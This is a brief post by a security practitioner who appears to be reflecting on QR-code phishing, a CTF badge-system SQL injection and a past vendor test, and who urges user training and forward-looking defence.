Here we are now years later and it's in the news that adversaries are doing that.  https://gbhackers.com/malicious-qr-codes-steal-employee-credentials/amp/

It was being done before it was in the news just not as wide-spread.

I was inspired that that could be done because one of the SANS Holiday Hack Challenges had us bypass a badge system that uses QR codes and it was vulnerable to SQL Injection.

I got to thinking-why wouldn't someone send a QR code via e-mail and social engineer people into scanning it.  It's easy.  So, when we were testing a vendor solution at old job, I tested that. I sent a malicious QR code.  I highly doubt I was the first person to think of this.

Every defense we put in place, they meet with a "new" tactic.  Even if the attack is actually old and very simple.  

Please-train people.  Try to think ahead-and not just what is popular now, but what could be a problem soon.